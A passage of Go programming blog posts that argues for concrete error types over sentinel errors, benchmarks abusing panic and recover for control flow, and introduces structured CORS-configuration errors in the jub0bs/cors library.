+  if _, ok := errutil.Find[*bluesky.UnknownAvailabilityError](err); ok {
     const tmpl = "The availability of %q on Bluesky could not be checked.\n",
     fmt.Fprintf(os.Stderr, tmpl, username)
     os.Exit(1)
   }
   if err != nil {
     fmt.Fprintln(os.Stderr, err)
     os.Exit(1)
   }
   fmt.Println(strconv.FormatBool(avail))
 }

In my opinion, errutil.Find is superior to errors.As on at least three counts:

It’s more ergonomic: it doesn’t require callers to pre-declare a variable of the target dynamic type.
It’s more type-safe: thanks to its generic type constraint, it’s guaranteed not to panic.
It’s more efficient: because it eschews reflection, it is faster and incurs fewer allocations, as benchmark results attest.

Incidentally, the error-inspection draft design proposal suggests that errors.As would have been very similar to my errutil.Find function if the Go team had managed to crack the parametric-polymorphism nut (Go 1.18) in time for errors.As’s inception in the standard library (Go 1.13).

If you’re tempted to adopt errutil.Find in your projects but are reluctant to add a dependency just for one tiny function, feel free to simply copy errutil.Find’s source code where needed; after all, as Rob Pike puts it,

A little copying is better than a little dependency.

Crucially, my benchmarks also show that opting for concrete error types and checking them with errutil.Find is about twice as fast as sticking with sentinel errors and checking them with errors.Is:

$ benchstat -col '/k@(errors.Is errutil.Find)' bench.out

goos: darwin
goarch: amd64
pkg: example.com/bluesky
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
                │  errors.Is  │            errutil.Find             │
                │   sec/op    │   sec/op     vs base                │
ErrorChecking-8   8.657n ± 6%   3.822n ± 9%  -55.85% (p=0.000 n=20)

                │ errors.Is  │          errutil.Find          │
                │    B/op    │    B/op     vs base            │
ErrorChecking-8   0.000 ± 0%   0.000 ± 0%  ~ (p=1.000 n=20) ¹
¹ all samples are equal

                │ errors.Is  │          errutil.Find          │
                │ allocs/op  │ allocs/op   vs base            │
ErrorChecking-8   0.000 ± 0%   0.000 ± 0%  ~ (p=1.000 n=20) ¹

Alright, but I’m conscious that a slight performance boost on unhappy paths may not be compelling enough for you to favour concrete error types over sentinel values. What else is there?

Non-reassignability ¶

Despite continuous improvement from one minor release to the next, the Go programming language still has warts. One particularly unfortunate affordance is that any package can clobber the variables exported by a package it imports:

package main

import (
  "fmt"
  "os"
)

func main() {
  os.Stdout = nil // 🙄
  fmt.Println("Hello, 世界") // prints nothing
}

And because cross-package reassignment of exported variables is possible, at least some people are likely to depend on it. Take heed of Hyrum Wright’s eternal words, which extend to language design:

With a sufficient number of users of an API, it does not matter what you promise in the contract: all observable behaviors of your system will be depended on by somebody.

Although cross-package reassignment of exported variables can prove convenient for testing, it is fraught with peril:

it’s a vector for mutable global state, which is best avoided;
it cannot (in general) be performed in a concurrency-safe manner.

Sentinel errors, being exported variables, are not immune to cross-package reassignment, which can lead to frightful results. For example, assigning nil to “pseudo-error” io.EOF would break most implementations of io.Reader:

package p

import "io"

func init() {
  io.EOF = nil // 😱
}

You could argue that nobody in their right mind would ever do this, or that code analysers could be written to detect cross-package clobbering, and you’d be mostly right. Deplorably, at the time of writing, neither staticcheck nor capslock implement checks for such abuse. Besides, forbidding such abuse at compile time would be more satisfying.

Dave Cheney’s “constant errors” approach ¶

Before I explain why concrete error types fit that bill too, I have to mention prior art. In his dotGo 2019 talk and its companion blog post (which both predate Go 1.13), Dave Cheney revisits one of his ideas: an ingenious (though ultimately flawed) alternative technique for declaring sentinel errors in a such a way that they cannot be clobbered.

In Go, constants are values known at compile time and are limited to numbers, booleans, and strings. Interface type error doesn’t fit in any of those categories; no value of type error can be declared as a constant:

package bluesky

import "errors"

const ErrInvalidUsername = errors.New("invalid username") // ❌ compilation error

Dave’s approach consists in declaring a (non-exported) type based on string (therefore compatible with constants), equip that type with an Error method (using a value receiver) so as to make it satisfy the error interface, and use that type as a vessel for declaring sentinel errors within the package of interest:

package bluesky

type bsError string

func (e bsError) Error() string {
  return string(e)
}

const ErrInvalidUsername bsError = "invalid username"

Clobbering symbol ErrInvalidUsername is then impossible:

package p

import "example.com/bluesky"

func init() {
  bluesky.ErrInvalidUsername = "" // ❌ compilation error
}

Although this approach achieves its stated goal, it is no panacea:

Symbol ErrInvalidUsernam now is of some non-exported type; I think most Gophers would agree that choosing a non-exported type for an exported member of one’s package is unidiomatic. The standard library itself only contains a handful of such declarations, and I do wonder whether its maintainers regret, in retrospect, ever introducing them…
Because there cannot be constants of type *string, type bsError must use a value receiver in its Error method; therefore, comparing two bsError values involves a byte-by-byte comparison of their underlying string values, and such string comparison is more expensive than a simple pointer comparison.

Incidentally, the design of syscall.Errno is remarkably similar in spirit to Dave’s constant-error type but suffers from neither of the two shortcomings listed above.

Dave’s approach has been and remains popular among some Gophers; for instance, Dylan Bourque, a respected member of the Go community and frequent host of the new Go-themed Fallthrough podcast, still counts himself as a fan of it. As far as I’m concerned, though, the unidiomatic and inefficient nature of Dave’s approach is reason enough to discourage its use.

Allow me a short digression. Although I generally enjoy and agree with Dave’s output, I’m at odds with another idea that he puts forward in his dotGo talk. As he extols Go’s constants system, Dave fixates on one property of untyped constants, one he refers to as “fungibility”. By a perplexing leap of logic, Dave concludes that sentinel errors too ought to be fungible, and laments that the identity of error-factory function errors.New’s results cannot be reduced to their error messages:

package main

import (
  "errors"
  "fmt"
)

func main() {
  err1 := errors.New("oh no")
  err2 := errors.New("oh no")
  fmt.Println(err1 == err2) // false (to Dave's chagrin)
}

However, as Axel Wagner (a.k.a. Merovius) astutely points out on Reddit, the behaviour that Dave wishes for would have undesirable effects, so much so that errors.New’s test suite includes an inequality check.

Preventing clobbering is a laudable goal, but it can be achieved in other ways. Leave constants aside for a moment… Can you think of something else that cannot be “clobbered”? That’s right: types themselves!

Types cannot be “clobbered” ¶

Type declarations like InvalidUsernameError’s and UnknownAvailabilityError’s simply cannot be modified in any way by clients of your package:

package p

import "example.com/bluesky"

func init() {
    bluesky.InvalidUsernameError = struct{}     // ❌ compilation error
    bluesky.UnknownAvailabilityError = struct{} // ❌ compilation error
}

Easy-peasy! But such concrete error types have one more ace up their sleeve…

Extensibility ¶

A sentinel error cannot carry information about the failure beyond its identity. For example, io.EOF indicates that a source of bytes has been exhausted, but it doesn’t say which source of bytes; and this omission is tolerable in good ol’ io.EOF’s case.

But some failure cases beg, at one stage or another, for contextual information. In a later version of your bluesky package, you may well want to allow callers of bluesky.IsAvailable to programmatically interrogate that function’s error result in more detail. Legitimate questions include the following:

What username was being queried when this failure occurred?
What is the underlying cause of the failure? An expected status code? A failed request? Something else?

The error types that I’ve been advocating since the beginning of this post can easily accommodate additional fields carrying contextual information about the failure:

 package bluesky

 import (
+  "errors"
+  "fmt"
   "math/rand/v2"
 )

-type InvalidUsernameError struct{}
+type InvalidUsernameError struct {
+  Username string
+}

-func (*InvalidUsernameError) Error() string {
-  return "invalid username"
+func (e *InvalidUsernameError) Error() string {
+  return fmt.Sprintf("invalid username %q", e.Username)
 }

-type UnknownAvailabilityError struct{}
+type UnknownAvailabilityError struct {
+  Username string
+  Cause    error
+}

-func (*UnknownAvailabilityError) Error() string {
-  return "unknown availability"
+func (e *UnknownAvailabilityError) Error() string {
+  return fmt.Sprintf("unknown availability of %q", e.Username)
 }

+func (e *UnknownAvailabilityError) Unwrap() error {
+  return e.Cause
+}

 func IsAvailable(username string) (bool, error) {
   // actual implementation omitted
   switch rand.IntN(3) {
   case 0:
-  return false, new(InvalidUsernameError)
+  return false, &InvalidUsernameError{
+    Username: username,
+  }
   case 1:
-    return false, new(UnknownAvailabilityError)
+    return false, &UnknownAvailabilityError{
+      Username: username,
+      Cause:    errors.New("oh no"),
+    }
   default:
     return false, nil
   }
 }

Those changes would allow clients to extract such contextual information. Moreover, those changes would not break any client! Existing calls to errors.As or to the faster errutil.Find that target bluesky’s concrete error types would continue to work as before. This example may be enough to convince you that such struct-based concrete error types are good for future-proofing your packages.

Edit (2025-04-06): A recent enough example of such an approach in the standard library is type http.MaxBytesError; for a discussion about its design, see issue #30715 and episode #240 of the Go Time podcast.

On the importance of using a pointer receiver ¶

In the multiverse of design choices, let’s turn our gaze to a universe in which you instead used a value receiver for the Error method of your error types:

package bluesky

import "math/rand/v2"

type InvalidUsernameError struct{}

func (InvalidUsernameError) Error() string {
  return "invalid username"
}

type UnknownAvailabilityError struct{}

func (UnknownAvailabilityError) Error() string {
  return "unknown availability"
}

func IsAvailable(username string) (bool, error) {
  // actual implementation omitted
  switch rand.IntN(3) {
  case 0:
    return false, InvalidUsernameError{}
  case 1:
    return false, UnknownAvailabilityError{}
  default:
    return false, nil
  }
}

Note that your clients would then be free to rely on errors.Is (or even a direct comparison) rather than on errors.As or errutil.Find:

avail, err := IsAvailable("🤪")
if errors.Is(err, bluesky.InvalidUsernameError{}) { // true
    // ...
}

Assume that you then augment your concrete error types with additional fields:

 package bluesky

 import (
+  "errors"
+  "fmt"
   "math/rand/v2"
 )

-type InvalidUsernameError struct{}
+type InvalidUsernameError struct {
+  Username string
+}

-func (InvalidUsernameError) Error() string {
-  return "invalid username"
+func (e InvalidUsernameError) Error() string {
+  return fmt.Sprintf("invalid username %q", e.Username)
}

-type UnknownAvailabilityError struct{}
+type UnknownAvailabilityError struct {
+  Username string
+  Cause    error
+}

-func (UnknownAvailabilityError) Error() string {
-  return "unknown availability"
+func (e UnknownAvailabilityError) Error() string {
+  return fmt.Sprintf("unknown availability of %q", e.Username)
}

+func (e UnknownAvailabilityError) Unwrap() error {
+  return e.Cause
+}

 func IsAvailable(username string) (bool, error) {
   // actual implementation omitted
   switch rand.IntN(3) {
   case 0:
-  return false, InvalidUsernameError{}
+  return false, InvalidUsernameError{
+    Username: username,
+  }
   case 1:
-    return false, UnknownAvailabilityError{}
+    return false, UnknownAvailabilityError{
+      Username: username,
+      Cause:    errors.New("oh no"),
+    }
   default:
     return false, nil
   }
 }

Unfortunately, such changes would break clients who rely on errors.Is:

avail, err := IsAvailable("🤪")
if errors.Is(err, bluesky.InvalidUsernameError{}) { // false
  // ...
}

This example should be enough to convince you to use a pointer receiver for the Error method of your concrete error types.

Edit (2025-04-02): After getting some feedback from Axel Wagner on this section of the post, I feel compelled to mention another (perhaps even more crucial) strength of pointer receivers: contrary to value receivers, pointer receivers lift the ambiguity as to which target type should be used in type assertions and calls to errors.As or errutil.Find.

Transitioning away from sentinel errors is precarious ¶

If you started with sentinel errors, be ready to carry that burden for a long time; until the next major-version release of your bluesky package, at the very least. Admittedly, if you’re lucky and all of your clients happen to rely on errors.Is rather than on a direct comparison (with == or !=), you could leverage Is methods (whose existence errors.Is checks for) to safely transition to concrete error types:

 package bluesky

 import (
   "errors"
+  "fmt"
   "math/rand/v2"
 )

+// Deprecated: use InvalidUsernameError instead.
 var ErrInvalidUsername = errors.New("invalid username")

+// Deprecated: use UnknownAvailabilityError instead.
 var ErrUnknownAvailability = errors.New("unknown availability")

+type InvalidUsernameError struct {
+  Username string
+}
+
+func (e *InvalidUsernameError) Error() string {
+  return fmt.Sprintf("invalid username %q", e.Username)
+}
+
+func (*InvalidUsernameError) Is(err error) bool {
+  return err == ErrInvalidUsername
+}
+
+type UnknownAvailabilityError struct {
+  Username string
+  Cause    error
+}
+
+func (e *UnknownAvailabilityError) Error() string {
+  return fmt.Sprintf("unknown availability of %q", e.Username)
+}
+
+func (*UnknownAvailabilityError) Is(err error) bool {
+  return err == ErrUnknownAvailability
+}
+
+func (e *UnknownAvailabilityError) Unwrap() error {
+  return e.Cause
+}
+
 func IsAvailable(username string) (bool, error) {
   // actual implementation omitted
   switch rand.IntN(3) {
   case 0:
-  return false, ErrInvalidUsername
+  return false, &InvalidUsernameError{
+    Username: username,
+  }
   case 1:
-    return false, ErrUnknownAvailability
+    return false, &UnknownAvailabilityError{
+      Username: username,
+      Cause:    errors.New("oh no"),
+    }
   default:
     return false, nil
   }
 }

If you found yourself in this ideal situation, those changes would break none of your clients; that much is true. In general, though, I would refrain from such unbridled optimism. Therefore, if you anticipate that you’ll need error types at some stage, I think that you’re better off starting with them and skipping sentinel errors altogether.

Discussion ¶

Concrete error types have served me well, especially in github.com/jub0bs/cors, to which I recently added support for programmatic handling of CORS-configuration errors. This post might have convinced you to favour them over sentinel errors from now on.

However, I don’t want to oversell concrete error types either. They may not be a good fit for some of your projects, for reasons beyond my knowledge. If you’re in that situation, I’d like to hear from you; find me on social media or Gophers Slack.

You may for instance prefer opaque errors and letting your clients assert errors on behaviour rather than on type, an approach promulgated by Dave Cheney that I didn’t dare cover here for fear of turning this already lengthy post into a soporific essay.

Whatever you do, keep in mind that patterns are contextual, not absolute. Always exercise judgement. Be deliberate in your design choices, and resist the temptation to delegate them to some mindless AI tool. 😇

Acknowledgments ¶

Some of the public and private conversations that I’ve had with other Gophers on Slack fed into this post. Thanks in particular to Roger Peppe, Axel Wagner, Justen Walker, Bill Moran, Noah Stride, and Frédéric Marand.

The cost of Go's panic and recover

Fri, 28 Feb 2025 20:20:00 +0000

TL;DR ¶

Some of the wisdom contained in Josh Bloch’s Effective Java book is relevant to Go.
panic and recover are best reserved for exceptional circumstances.
Reliance on panic and recover can noticeably slow down execution, incurs heap allocations, and precludes inlining.
Internal handling of failure cases via panic and recover is tolerable and sometimes beneficial.

Abusing Java exceptions for control flow ¶

Even though my Java days are long gone and Go has been my language of predilection for a while, I still occasionally revisit Effective Java, Joshua Bloch’s seminal and award-winning book, and I never fail to rediscover nuggets of wisdom in it. In item 69 (entitled Use exceptions only for exceptional conditions) of the book’s third edition, Bloch presents an example of abusing Java exceptions for control flow. I’m hesitant to quote the content of that section in full here for fear of a copyright strike from Bloch’s publishing company, but it—and, in fact, the whole book—is well worth a read.

Bloch opens with the following code snippet, which demonstrates a rather peculiar way of iterating over an array (named range) of objects of some Mountain class so as to invoke their climb method:

try {
  int i = 0;
  while (true)
    range[i++].climb();
} catch (ArrayIndexOutOfBoundsException e) {
}

Note that variable i eventually gets incremented up to the length of the array, at which point an attempt to access the array at index i raises an ArrayIndexOutOfBoundsException, which gets caught and promptly ignored. Of course, a functionally equivalent but far clearer and more idiomatic approach consists in relying on a “for-each” loop, which itself amounts to a classic three-clause loop:

for (int i = 0; i < range.length; i++) {
  range[i].climb();
}

Bloch patiently proceeds to explain why some misguided practitioners may favour the exception-based approach over the more idiomatic one: not only do they perceive the termination test (i < range.length) as costly, but they deem it superfluous. Why? Because they believe that the Java compiler introduces a bounds check for every array access (range[i]). If memory safety is guaranteed by those systematic bounds checks, they reason, why even bother checking whether the index variable goes out of bounds?

Bloch then debunks this theory via three counterarguments:

Because exceptions are designed for exceptional circumstances, there is little incentive for JVM implementors to make them as fast as explicit tests.

Placing code inside a try-catch block inhibits certain optimizations that JVM implementations might otherwise perform.

The standard idiom for looping through an array doesn’t necessarily result in redundant checks. Many JVM implementations optimize them away.

Follows this empirical observation:

[…] the exception-based idiom is far slower than the standard one. On my machine, the exception-based idiom is about twice as slow as the standard one for arrays of one hundred elements.

How is this relevant to Go? ¶

The designers of Go deliberately shied away from equipping the language with an exception system like Java’s:

We believe that coupling exceptions to a control structure, as in the try-catch-finally idiom, results in convoluted code. It also tends to encourage programmers to label too many ordinary errors, such as failing to open a file, as exceptional.

Go takes a different approach. For plain error handling, Go’s multi-value returns make it easy to report an error without overloading the return value. A canonical error type, coupled with Go’s other features, makes error handling pleasant but quite different from that in other languages.

Go also has a couple of built-in functions to signal and recover from truly exceptional conditions. The recovery mechanism is executed only as part of a function’s state being torn down after an error, which is sufficient to handle catastrophe but requires no extra control structures and, when used well, can result in clean error-handling code.

However, some newcomers to Go may, at least at first, struggle to adopt the language’s idiom of communicating anticipated failure cases as values rather than as exceptions; they may be tempted to abuse Go’s built-in panic and recover functions for communicating even benign failure cases.

Go’s ecosystem (language, compiler, runtime, etc.) may be vastly different from Java’s, but transposing Bloch’s experiment from Java to Go is nonetheless an instructive and playful way to discuss the cost of panic and recover, and perhaps stifle newcomers’ urge to unduly rely on that mechanism in their programs.

Abusing Go’s panic/recover for control flow ¶

In the remainder of this post, I’ll assume that Go 1.24 is used, in terms of both the language semantics and the Go compiler (gc):

$ go version
go version go1.24.0 darwin/amd64

Roughly translated to Go and molded into a self-contained package, Bloch’s code snippet becomes the following program (available on GitHub):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


package main

type Mountain struct{
  climbed bool
}

func (m *Mountain) Climb() {
  m.climbed = true
}

func main() {
  mountains := make([]Mountain, 8)
  ClimbAllPanicRecover(mountains)
}

func ClimbAllPanicRecover(mountains []Mountain) {
  defer func() {
    recover()
  }()
  for i := 0; ; i++ {
    mountains[i].Climb() // panics when i == len(mountains)
  }
}

func ClimbAll(mountains []Mountain) {
  for i := range mountains {
    mountains[i].Climb()
  }
}

(playground)

As its name suggests, function ClimbAllPanicRecover abuses panic and recover for iterating over the input slice, whereas function ClimbAll stands for the more idiomatic reference implementation.

Bloch never reveals what his Mountain class is made of or what its climb method does. To forestall any dead-code elimination by the compiler, I’ve opted to make my (*Mountain).Climb method mutate the climbed field of its receiver.

The overhead of panic and recover is non-negligible ¶

Below are some benchmarks pitting ClimbAllPanicRecover against ClimbAll:

package main

import (
  "fmt"
  "testing"
)

var cases [][]Mountain

func init() {
  for _, size := range []int{0, 1, 1e1, 1e2, 1e3, 1e4, 1e5} {
    s := make([]Mountain, size)
      cases = append(cases, s)
  }
}

func BenchmarkClimbAll(b *testing.B) {
  benchmark(b, "idiomatic", ClimbAll)
  benchmark(b, "panic-recover", ClimbAllPanicRecover)
}

func benchmark(b *testing.B, impl string, climbAll func([]Mountain)) {
  for _, ns := range cases {
    f := func(b *testing.B) {
      for b.Loop() {
        climbAll(ns)
      }
    }
    desc := fmt.Sprintf("impl=%s/size=%d", impl, len(ns))
    b.Run(desc, f)
  }
}

(Incidentally, if you’re not yet familiar with the new (*testing.B).Loop method do check out the Go 1.24 release notes.)

Let’s run those benchmarks on a relatively idle machine and feed the results to benchstat:

$ go test -run '^$' -bench . -count 10 -benchmem > results.txt
$ benchstat -col '/impl@(idiomatic panic-recover)' results.txt
goos: darwin
goarch: amd64
pkg: github.com/jub0bs/panicabused
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
                       │  idiomatic  │              panic-recover              │
                       │   sec/op    │    sec/op      vs base                  │
ClimbAll/size=0-8        2.239n ± 8%   193.900n ± 1%  +8560.12% (p=0.000 n=10)
ClimbAll/size=1-8        2.638n ± 1%   196.400n ± 2%  +7346.45% (p=0.000 n=10)
ClimbAll/size=10-8       5.424n ± 1%   199.300n ± 2%  +3574.41% (p=0.000 n=10)
ClimbAll/size=100-8      44.69n ± 1%    238.65n ± 4%   +434.01% (p=0.000 n=10)
ClimbAll/size=1000-8     371.6n ± 0%     565.8n ± 1%    +52.27% (p=0.000 n=10)
ClimbAll/size=10000-8    3.646µ ± 1%     3.906µ ± 0%     +7.15% (p=0.000 n=10)
ClimbAll/size=100000-8   36.27µ ± 0%     36.54µ ± 1%     +0.73% (p=0.000 n=10)
geomean                  95.10n          759.9n        +699.03%

                       │  idiomatic  │        panic-recover         │
                       │    B/op     │    B/op     vs base          │
ClimbAll/size=0-8        0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=1-8        0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=10-8       0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=100-8      0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=1000-8     0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=10000-8    0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=100000-8   0.00 ± 0%     24.00 ± 0%  ? (p=0.000 n=10)
geomean                            ¹   24.00       ?
¹ summaries must be >0 to compute geomean

                       │  idiomatic   │        panic-recover         │
                       │  allocs/op   │ allocs/op   vs base          │
ClimbAll/size=0-8        0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=1-8        0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=10-8       0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=100-8      0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=1000-8     0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=10000-8    0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
ClimbAll/size=100000-8   0.000 ± 0%     1.000 ± 0%  ? (p=0.000 n=10)
geomean                             ¹   1.000       ?
¹ summaries must be >0 to compute geomean

The results speak for themselves: ClimbAllPanicRecover is lumberingly slow in comparison to ClimbAll for small enough input slices, for which the cost of panic and recover visibly dominates execution time. This observation echoes Bloch’s first counterargument: panic and recover, because their use is intended for truly exceptional circumstances, have no reason to be particularly fast.

Moreover, each call to ClimbAllPanicRecover incurs an allocation of 24 bytes (on my 64-bit system, at least); although details are scarce, this heap allocation can be attributed to a runtime.boundsError with which the Go runtime eventually panics when the value of variable i reaches len(mountains). In comparison, ClimbAll never allocates and, therefore, doesn’t exert any unnecessary pressure on the garbage collector.

Only as the length of the input slice increases does the performance gap between the two implementations close, as the cost of panic and recover effectively drowns out in the rest of the workload.

Recover precludes inlining ¶

At this stage, astute readers may suggest that ClimbAllPanicRecover’s disadvantage can be explained, at least in part, by inlining. Inlining is a compiler strategy that can be roughly described as “replacing a function call by the body of that function”. In many cases, inlining results in a speedup of execution. However, functions that contain defer statements cannot be inlined, and neither can functions that contain calls to recover. Therefore, contrary to ClimbAll, neither ClimbAllPanicRecover nor the anonymous function whose call it defers can be inlined. Close inspection of the optimisation decisions made by the compiler while building our program confirms that much:

$ go build -gcflags '-m=2'
# github.com/jub0bs/panicabused
./main.go:7:6: can inline (*Mountain).Climb with cost 4 as: method(*Mountain) func() { m.climbed = true }
./main.go:17:8: cannot inline ClimbAllPanicRecover.func1: call to recover
./main.go:16:6: cannot inline ClimbAllPanicRecover: unhandled op DEFER
./main.go:11:6: can inline main with cost 66 as: func() { mountains := make([]Mountain, 8); ClimbAllPanicRecover(mountains) }
./main.go:25:6: can inline ClimbAll with cost 14 as: func([]Mountain) { for loop }
-snip-

This observation echoes Bloch’s second counterargument: relying on panic and recover inhibits certain optimisations that the Go compiler might otherwise perform.

Is the lack of inlining to blame for ClimbAllPanicRecover’s lacklustre performance, though? Evidently not: I selectively disabled inlining for ClimbAll by slapping a go:noinline directive on it and re-ran the benchmarks, but found that ClimbAll still vastly outperformed ClimbAllPanicRecover for all but large input slices. However, do keep in mind that, in more realistic scenarios, an impossibility to inline a given function may noticeably harm performance.

No bounds-check elimination for the unidiomatic implementation ¶

Like Java, Go is said to be memory-safe; in particular, per the language specification, implementations must trigger a run-time panic if a slice-indexing operation is ever out of bounds. Such bounds checks are relatively cheap, but they are not free. When the compiler can prove that some slice access cannot be out of bounds, it may omit, for better performance, the corresponding bounds check from the resulting executable. Besides, advanced programming techniques exist for gently nudging the compiler towards more bounds-check elimination.

In the specific case of our little program, the compiler can eliminate the bounds checks in ClimbAll’s loop, but not in ClimbAllPanicRecover’s:

$ go build -gcflags '-d=ssa/check_bce/debug=1'
# github.com/jub0bs/panicabused
./main.go:17:12: Found IsInBounds

This observation echoes Bloch’s third counterargument: the idiomatic approach is more conducive to bounds-check elimination.

What about internal handling of failure cases? ¶

At this stage, my facetious example may have convinced you that abusing panic and recover for control flow is not only unidiomatic but also detrimental to performance. More seriously, though, you may come across open-source projects that rely on panic and recover for handling internal failure cases. In fact, look no further than the standard library: this style is in full display in packages such as text/template, encoding/json, encoding/gob, and regexp/syntax.

Expediency seems to be the primary motivation. Indeed, when the call stack is deep (perhaps on account of numerous recursive calls), relying on panic and recover obviates the need for much boilerplate; the error-handling logic can be centralised further up the stack, at the point of panic recovery, and the happy path can remain in focus.

Panics should not be recovered too indiscriminately, though; a bug that triggers a panic will remain masked if a call to recover inadvertently swallows that panic:

func ClimbAllPanic(mountains []Mountain) {
  defer func() {
    recover()
  }()
  for i := 0; ; i++ {
    mountains[i-1].Climb() // off-by-one error
  }
}

(playground)

See issue 23012 for an example of such a problem in package encoding/json.

But another, more surprising motivation for such a style is… performance! For instance, Max Hoffman and Raphael Poss separately report impressive speedups (on the happy path of their program, at least) thanks to this style. Explanations include

a decreased need for intermediate function results, and
comparatively fewer code branches, hence fewer opportunities for branch mispredictions.

So it seems that panic and recover can be beneficial to performance in at least some situations.

Should you try to emulate this style? Up to you. However, if you go down that road, do justify your design decision with a clarifying comment and perhaps some benchmark results; if you cannot provide such justification, you’re perhaps being too clever. Also, make sure to keep this design decision as an implementation detail of your package; don’t let panics that should remain internal leak through your package’s API, as your clients would then regrettably be forced to deal with them.

Acknowledgements ¶

Thanks to the members of the Gophers Slack workspace who lurk in the #performance channel for an enlightening discussion, which fed into this post.

Programmatic handling of CORS-configuration errors with jub0bs/cors

Tue, 28 Jan 2025 14:40:00 +0000

TL;DR ¶

jub0bs/cors v0.5.0 now lets you handle CORS-configuration errors programmatically.
This feature should be of interest to you if you’re a multi-tenant service provider and you let your tenants configure CORS for their instances.

jub0bs/cors’s commitment to configuration validation ¶

One long-standing and distinguishing feature of jub0bs/cors is extensive configuration validation, motivated by my desire to rule out dysfunctional CORS middleware and to discourage the instantiation of insecure CORS middleware. When your CORS configuration contains mistakes, the library indeed detects them and reports them as a “multi-error”. For instance, you may attempt to (incorrectly) configure a CORS middleware as shown in the program below:

package main

import (
    "fmt"
    "io"
    "net/http"
    "os"

    "github.com/jub0bs/cors"
)

func main() {
    _, err := cors.NewMiddleware(cors.Config{
        Origins:         []string{"*"},
        Credentialed:    true,
        Methods:         []string{"POS T"},
        ResponseHeaders: []string{"Set-Cookie"},
    })
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
}

Fortunately for you, the library refuses to instantiate such a dysfunctional and insecure CORS middleware and emits the following error message:

cors: invalid method "POS T"
cors: forbidden response-header name "Set-Cookie"
cors: for security reasons, you cannot both allow all origins and enable credentialed access

The need for programmatic handling of CORS-configuration errors ¶

Such an error message as the one shown above is sufficient for most importers to correct their CORS configuration and move on. However, there are (arguably rare) cases where the program and the CORS configuration are authored by different entities, and such cases call for something more powerful than an undistinguished string error message.

Picture, for example, a multi-tenant service provider that enables, perhaps via some Web interface and/or some command-line interface, each of its tenants to configure CORS for their instance of the service. When a tenant misconfigures CORS, the service provider somehow needs to explain the reasons for misconfiguration to the tenant, so that the tenant can accordingly take remedial action. Simply forwarding the error messages produced by jub0bs/cors to the tenant is tempting and expedient, but it’s far from ideal: the level of detail, wording, format, and/or natural language (English) of those messages may indeed be inadequate for the tenant. The service provider may instead wish to produce more palatable messages, such as this one:

[
  "\"POS T\" is not a valid HTTP method. Did you mean \"POST\"?",
  "\"Set-Cookie\" is not a response header that can be exposed.",
  "You cannot allow access from all origins with cookies."
]

To do so, the service provider would need to inspect the errors emitted by jub0bs/cors, make sense of them, and extract contextual information (such as "POS T" and "Set-Cookie") from them. Unfortunately, up until recently, jub0bs/cors used to be regrettably limited in that regard. The service provider in my example would have had no other choice but to parse the messages of those errors (i.e. the output of the latter’s Error method), a practice that is widely discouraged, and for good reasons. Jon Amsterdam, a member of the Go team, has this nice saying:

Errors have two audiences: people and programs.

This pithy statement reflects the dual nature of errors. Error messages are to be consumed by people, not by programs. Few programs should parse error messages, because such parsing is extremely brittle: a single change to the format of an error message may break the parsing logic. Moreover, convention in the Go community dictates that error messages are not part of a package’s API and that package authors may freely change them from one version to the next (be it a major, minor, or patch version). Therefore, package authors who wish to allow programs to extract information from their package’s error values should provide a programmatic way of doing so.

To properly support programmatic handling of CORS-configuration errors, I realised that I needed to introduce and export concrete error types corresponding to the various reasons for CORS misconfiguration. Resolved to implement this feature at some stage, I filed issue 9 on GitHub and added it to my backlog.

“One chance to get it right” ¶

If you’re like me, broadening the exported surface area of your package should fill you with dread. As Josh Bloch puts it in his legendary API-design talk,

You have one chance to get it right.

Adding symbols to a package is deceptively easy, but modifying symbols without breaking existing clients may prove difficult, and removing symbols altogether is painful because it requires a major-version bump. Make one design mistake, and you may be stuck with it until the release of the next major version of your library. Accordingly, the decision to export more stuff should be deliberate and carefully considered; endeavour to keep your options open and avoid making promises you may want to break in the future.

Because jub0bs/cors still hasn’t seen a v1 release, any breaking change is technically fair game; however, I avoid breaking changes like the plague, for fear of user churn. These considerations may explain why I ended up addressing issue 9 only belatedly.

Defining some errors out of existence ¶

It quickly dawned on me that, without any other changes to the library, the required set of concrete error types would be too large to be manageable. As often, I found the answer in John Ousterhout’s writing:

The best way to eliminate exception handling complexity is to define your APIs so that there are no [or fewer] exceptions to handle: define errors out of existence.

(A philosophy of software design, John Ousterhout, 2nd. edition, section 10.3)

With this design principle in mind, I modified the library so as to gracefully tolerate benign configuration infelicities that were hitherto bubbled up as errors to callers. An immediate side benefit of this simplification is that, because the library’s documentation needs explain fewer cases for failure, it is now shorter and somewhat more digestible.

Introducing concrete error types in a new subpackage ¶

Defining some errors out of existence allowed me to reduce the set of concrete error types to no more than eight orthogonal elements:

type IncompatibleOriginPatternError
type IncompatiblePrivateNetworkAccessModesError
type IncompatibleWildcardResponseHeaderNameError
type MaxAgeOutOfBoundsError
type PreflightSuccessStatusOutOfBoundsError
type UnacceptableHeaderNameError
type UnacceptableMethodError
type UnacceptableOriginPatternError

Recall that most importers of github.com/jub0bs/cors have no need for programmatic handling of their CORS-configuration errors, though. Because I didn’t want to overwhelm them, I decided to export the concrete error types, not from the root package, but from a new subpackage named “cfgerrors”. Thanks to this approach, the API of github.com/jub0bs/cors remains tight, and casual importers of won’t unnecessarily suffer additional cognitive load.

Package github.com/jub0bs/cors/cfgerrors also provides an iterator factory named “All”, which allows programs to iterate over the CORS-configuration errors contained in an error value’s tree:

